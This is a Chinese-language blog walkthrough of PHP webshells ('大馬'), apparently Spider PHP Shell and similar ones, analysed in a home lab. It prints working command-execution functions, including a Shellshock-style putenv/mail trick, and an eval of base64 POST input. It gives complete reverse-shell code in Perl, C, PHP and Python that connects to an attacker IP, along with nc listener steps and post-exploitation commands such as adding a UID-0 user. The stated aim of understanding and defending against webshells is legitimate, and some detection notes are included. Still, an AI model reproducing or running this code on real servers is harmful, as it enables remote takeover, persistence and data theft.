2021年11月4日 星期四

PHP大馬

前言

https://secvery.com/2105.html   黑客常用PHP大马(WebShell)
PHP大馬就是功能較全,支持各種在滲透過程中可能用到的各種功能的大型代碼集合,通常具有文件管理、命令執行、端口掃描、數據庫管理、反彈shell等等的功能

透過解讀大馬的功能,能了解到一些web滲透的手段,進而知道怎麼樣在安全上做防護


Spider PHP Shell (SPS-3.0).php

登入


文件管理


時間

透過 touch() 修改文件的mtime
case "d" : @touch($array[$i],strtotime($inver)); $msg = '修改时间为'.$inver; break;


# ll test.jpg
-rw-r--r--. 1 www www 12218 Nov  4  2020 test.jpg


新增文件

使用 fopen() 、fwrite()寫檔,然後用 touch() 改mtime。當前目錄必須是www 可寫


直接點該文件,可以在網站上打開改文件

該文件的權限是www 
# ll newfile.php
-rw-r--r--. 1 www www 26 May  4  2021 newfile.php

新建目錄

使用 mkdir(),建立目錄。當前目錄必須是www 可寫


目錄權限www ,無法用touch()修改時間
# ll | grep newdir
drwxr-xr-x. 2 www  www       6 Nov  4 19:20 newdir

複製、刪除、屬性、打包(下載)、編輯、改名、上傳、批量上傳


執行命令

使用exec、shell_exec、system、passthru、popen去執行命令。所以php.ini中盡量要禁用這些危險函數,以免被webshell執行命令
function Exec_Run($cmd)
{
    $res = '';
    if(function_exists('exec')){@exec($cmd,$res);$res = join("\n",$res);}
    elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);}
    elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();}
    elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();}
    elseif(@is_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);}
    return $res;
}


掃描端口

使用 fsockopen 去檢測服務器端口有無開放
$fp = @fsockopen($_POST['ip'],$ports[$i],$errno,$errstr,2);

搜索文件

搜索包含文字

使用 readdir 將目錄下所有文件名讀出來,然後用 fread 將文件內容讀出來,最後用stristr 去匹配內容


Linux提權

攻擊機

因為windows的git bash沒有nc這個命令,所以另外準備一台攻擊機(CentOS虛擬機,192.168.1.8)來實作Linux提權。
攻擊機安裝nc
# yum install nc
打開提權所需端口
# firewall-cmd --zone=public --add-port=12388/tcp --permanent
# firewall-cmd --reload
攻擊機監聽shell
# nc -vv -l 12388
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::12388
Ncat: Listening on 0.0.0.0:12388

提權


提交表單後就可以獲取靶機上的shell
# nc -vv -l 12388
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::12388
Ncat: Listening on 0.0.0.0:12388
Ncat: Connection from 192.168.1.24.
Ncat: Connection from 192.168.1.24:58198.
Linux localhost.localdomain 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
uid=1000(www) gid=1000(www) groups=1000(www) context=unconfined_u:system_r:initrc_t:s0
pwd
/www/wwwroot/webshell2.bt/Php
whoami
www
hostname -I
192.168.1.24 172.17.0.1

當然還能切root(如果你知道靶機root的密碼)
su -
Password: root_password
whoami
root
pwd
/root


/var/log/secure 拿到www的shell是沒有記錄的,切root和登出root的時候有
Nov  5 04:50:08 localhost su: pam_unix(su-l:session): session opened for user root by (uid=1000)
Nov  5 04:50:16 localhost su: pam_unix(su-l:session): session closed for user root


靶機

可以看到多了一個sh的進程,執行用戶是www(這也是為什麼提權那拿到的shell用戶是www)
# ps aux | grep "\bsh\b"
www       9551  0.0  0.0  11692  1356 ?        S    16:10   0:00 sh -c echo "`uname -a`";echo "`id`";/bin/sh
www       9556  0.0  0.0  11692  1360 ?        S    16:10   0:00 /bin/sh

有個連線連到攻擊機(192.168.1.8)的nc監聽端口(12388)
# netstat -tlunpa | grep "192.168.1.8"
tcp        0      0 192.168.1.24:58198      192.168.1.8:12388       ESTABLISHED 9550/lynx

9550 是什麼進程?
# ps aux | grep "9550"
www       9550  0.0  0.0  31144  3340 ?        S    16:10   0:00 lynx

原理

File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb')
將以下perl腳本寫入 /tmp/spider_bc 
#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);

然後用PHP執行腳本
Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &')
perl /tmp/spider_bc 192.168.1.8 12388 &

如果是在服務器上用root手動執行該反彈腳本
# perl /tmp/spider_bc 192.168.1.8 12388 &
進程的執行者是root
# ps aux | grep "\bsh\b"
root     28776  0.0  0.0 113288  1396 pts/10   S    15:06   0:00 sh -c echo "`uname -a`";echo "`id`";/bin/sh
root     28781  0.0  0.0 113284  1196 pts/10   S    15:06   0:00 /bin/sh
攻擊機拿到的shell權限也會是root
# nc -vv -l 12388
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::12388
Ncat: Listening on 0.0.0.0:12388
Ncat: Connection from 192.168.1.24.
Ncat: Connection from 192.168.1.24:58734.
Linux localhost.localdomain 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
whoami
root

C語言執行

將以下C代碼寫入 /tmp/angel_bc.c 
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char *argv[])
{
 int fd;
 struct sockaddr_in sin;
 char rms[21]="rm -f "; 
 daemon(1,0);
 sin.sin_family = AF_INET;
 sin.sin_port = htons(atoi(argv[2]));
 sin.sin_addr.s_addr = inet_addr(argv[1]); 
 bzero(argv[1],strlen(argv[1])+1+strlen(argv[2])); 
 fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ; 
 if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
   perror("[-] connect()");
   exit(0);
 }
 strcat(rms, argv[0]);
 system(rms);  
 dup2(fd, 0);
 dup2(fd, 1);
 dup2(fd, 2);
 execl("/bin/sh","sh -i", NULL);
 close(fd); 
}

然後執行編譯命令
gcc -o /tmp/angel_bc /tmp/angel_bc.c
最後執行
/tmp/angel_bc 192.168.1.8 12388 &

C語言的實現方式在大馬後台沒有成功,因為編譯不出來 /tmp/angel_bc ,在靶機上用root手動執行編譯命令倒是可以

MySQL執行

https://stackoverflow.com/a/54643842  Connect to different port using MySql Command Line Client
如果連docker的mysql時要用127.0.0.1,不能用localhost




MySQL管理

如下圖所見








zjjv

zjjv。  com

代碼基本上被加密了,使用XDebug調試可以慢慢解出來,只是花時間

登入


文件管理

功能基本上和 Spider PHP Shell (SPS-3.0).php 一樣。 (root)用户|组 代表該大馬文件的權限是root(但是執行shell的權限僅是www



執行PHP腳本

使用的是eval執行
eval(stripslashes(base64_decode($_POST['phpcode'])));

執行SQL、MYSQL操作、端口掃描

功能基本上和Spider PHP Shell (SPS-3.0).php 的 MySQL執行、MySQL管理、掃描端口 一樣。

執行命令

比 Spider PHP Shell 更進化了,多了使用 COM類(windows,未能復現)、proc_open、readlink+putenv(未能復現)的漏洞利用
function Exec_Run($cmd) {
    $res = '';
    if (function_exists('exec')) {
        @exec($cmd, $res);
        $res = join("\n", $res);
    } elseif (function_exists('shell_exec')) {
        $res = @shell_exec($cmd);
    } elseif (function_exists('system')) {
        @ob_start();
        @system($cmd);
        $res = @ob_get_contents();
        @ob_end_clean();
    } elseif (function_exists('passthru')) {
        @ob_start();
        @passthru($cmd);
        $res = @ob_get_contents();
        @ob_end_clean();
    } elseif (@is_resource($f = @popen($cmd, 'r'))) {
        $res = '';
        while (!@feof($f)) {
            $res .= @fread($f, 1024);
        }
        @pclose($f);
    } elseif (substr(dirname($_SERVER["SCRIPT_FILENAME"]), 0, 1) != "/" && class_exists('COM')) {
        $w = new COM('WScript.shell');
        $e = $w->exec($cmd);
        $f = $e->StdOut();
        $res = $f->ReadAll();
    } elseif (function_exists('proc_open')) {
        $length = strcspn($cmd, " \t");
        $token = substr($cmd, 0, $length);
        if (isset($aliases[$token])) $cmd = $aliases[$token] . substr($cmd, $length);
        $p = proc_open($cmd, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
        while (!feof($io[1])) {
            $res .= htmlspecialchars(fgets($io[1]), ENT_COMPAT, 'UTF-8');
        }
        while (!feof($io[2])) {
            $res .= htmlspecialchars(fgets($io[2]), ENT_COMPAT, 'UTF-8');
        }
        fclose($io[1]);
        fclose($io[2]);
        proc_close($p);
    } elseif (function_exists('mail')) {
        if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
            $tmp = tempnam(".", "data");
            putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
            mail("a@127.0.0.1", "", "", "", "-bv");
        } else $res = "Not vuln (not bash)";
        $output = @implode('', @file($tmp));
        @unlink($tmp);
        if ($output != "") $res = $output; else $res = JmCode("=4vofIaqtD3ohOvpiOPY0IUp0I3ot8zG");
    }
    return $res;
}


反彈提權

和Spider PHP Shell相比除了perl和C的執行方式,多了php和nc的執行方式

php

用 socket_create 和 socket_connect 去連攻擊機監聽的端口,然後用 socket_read 不斷的去等攻擊機下的命令,然後用proc_open在靶機上執行命令,最後用 socket_write 將靶機上執行命令的結果返回給攻擊機
if (!extension_loaded('sockets')) {
    if ($system == 'WIN') {
        @dl('php_sockets.dll') or die("Can't load socket");
    } else {
        @dl('sockets.so') or die("Can't load socket");
    }
}
if ($system == "WIN") {
    $env = array('path' => "c:\\windows\\system32");
} else {
    $env = array('PATH' => "/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin");
}
$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
$host = $_POST['yourip'];
$port = $_POST['yourport'];
$host = gethostbyname($host);
$proto = getprotobyname("tcp");
if (($sock = socket_create(AF_INET, SOCK_STREAM, $proto)) < 0) {
    die("Socket创建失败");
}
if (($ret = socket_connect($sock, $host, $port)) < 0) {
    die("连接失败");
} else {
    $message = "----------------------PHP反弹连接(www.xxx.com)--------------------\n";
    socket_write($sock, $message, strlen($message));
    $cwd = str_replace('\\', '/', dirname(__FILE__));
    while ($cmd = socket_read($sock, 65535, $proto)) {
        if (trim(strtolower($cmd)) == "exit") {
            socket_write($sock, "Bye\n");
            exit;
        } else {
            $process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);
            if (is_resource($process)) {
                fwrite($pipes[0], $cmd);
                fclose($pipes[0]);
                $msg = stream_get_contents($pipes[1]);
                socket_write($sock, $msg, strlen($msg));
                fclose($pipes[1]);
                $msg = stream_get_contents($pipes[2]);
                socket_write($sock, $msg, strlen($msg));
                $return_value = proc_close($process);
            }
        }
    }
}

nc

一樣也是用PHP實現,使用 fsockopen 去連攻擊機監聽的端口,然後用feof不斷的等攻擊機發命令過來,用fgets接收到命令後使用 $message = `$cmd`; 執行命令(` 就是 shell_exec函數),執行後用 fputs 將結果返回攻擊機。
echo '<div class="actall">';
$mip = $_POST['yourip'];
$bport = $_POST['yourport'];
$fp = fsockopen($mip, $bport, $errno, $errstr);
if (!$fp) {
    $result = "Error: could not open socket connection";
} else {
    fputs($fp, "\n*********************************************\n hacking url:http://www.xxx.com is ok! \n*********************************************\n\n");
    while (!feof($fp)) {
        fputs($fp, " [root@xxx.com:/root]# ");
        $result = fgets($fp, 4096);
        $message = `$result`;
        fputs($fp, "--> " . $message . "\n");
    }
    fclose($fp);
}
echo '</div>';

執行方式:php 和 nc(本質上也是使用PHP),連進程中異常的 sh 進程都查不到,因為跑在php-fpm下面,只能從netstat上查到有個異常的連線往外連

# ps aux | grep "\bsh\b"
(無)

# netstat -tlunpa | grep "192.168.1.8"
tcp        0      0 192.168.1.24:58952      192.168.1.8:12388       ESTABLISHED 9623/php-fpm: pool

# ps aux | grep 9623
www       9623  0.0  0.1 248544  8928 ?        S    18:06   0:00 php-fpm: pool www

其他大馬

https://www.dismall.com/thread-1726-1-1.html  震惊:从某盗版插件里扒出的木马文件,你在人家面前裸奔

文件管理

基本上功能都大同小異
特殊目錄:
Linux-local : /usr/local/
Linux-tmp : /tmp/
Linux-etc : /etc/

反彈SHELL

Python

這個大馬在提權時多了python的連接方式。原理是將以下python代碼寫入 /tmp/t00ls.py
#!/usr/bin/python
# 
import sys,os,socket,pty
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], int(sys.argv[2])))
os.dup2(s.fileno(), sys.stdin.fileno())
os.dup2(s.fileno(), sys.stdout.fileno())
os.dup2(s.fileno(), sys.stderr.fileno())
pty.spawn('/bin/sh')

然後再執行
/usr/bin/python /tmp/t00ls.py 192.168.1.8 12388


執行命令

這邊收集了一些滲透常用命令
Linux-版本集合: id;uname -a;cat /etc/issue;cat /proc/version;lsb_release -a
Linux-添加用户: /usr/sbin/useradd -u 0 -o -g 0 t00ls
Linux-查看用户: cat /etc/passwd
Linux-查看端口: /bin/netstat -tnl
Linux-查看地址: /sbin/ifconfig -a
Linux-查看服务: /sbin/chkconfig --list
Linux-查看进程: /bin/ps -ef